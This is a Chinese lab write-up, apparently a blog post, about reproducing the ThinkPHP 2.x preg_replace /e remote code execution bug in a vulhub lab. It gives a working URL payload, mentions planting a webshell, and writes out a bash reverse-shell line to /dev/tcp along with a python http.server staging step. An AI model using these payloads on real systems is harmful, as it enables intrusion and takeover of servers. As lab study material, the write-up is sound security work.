漏洞复现笔记(2-rce)

漏洞详情:

ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中,使用preg_replace的/e模式匹配路由:

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。

implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面

影响版本

Thinkphp 2.x, Thinkphp 3.0版本(Lite模式)

靶场搭建

  • 使用vulhub搭建靶场
  • 搭建成功访问页面如下

漏洞复现

构造poc:

  • ?s=/index/index/name/${@phpinfo()}

成功执行phpinfo,说明漏洞存在

写入一句话木马

用蚁剑链接,成功getshell

bash shell

首先我们先创建一个shell.sh文件

  • 文件内容:bash -i >& /dev/tcp/192.168.32.145/6666 0>&1

然后开一个·HTTP的端口

  • 语法:python3 -m http.server 8888

  • 这个语法我一开始用的是:python -m SimpleHTTPServer 端口号;然后就报错:Nomodule named simplehttpserver;

  • 后面百度才知道python3已经改成了http.server,也就是:python3 -m http.server 端口号

最后我们直接抓包改,让它去下载我们的shell.sh文件

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=22i9x1ze7qv44

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值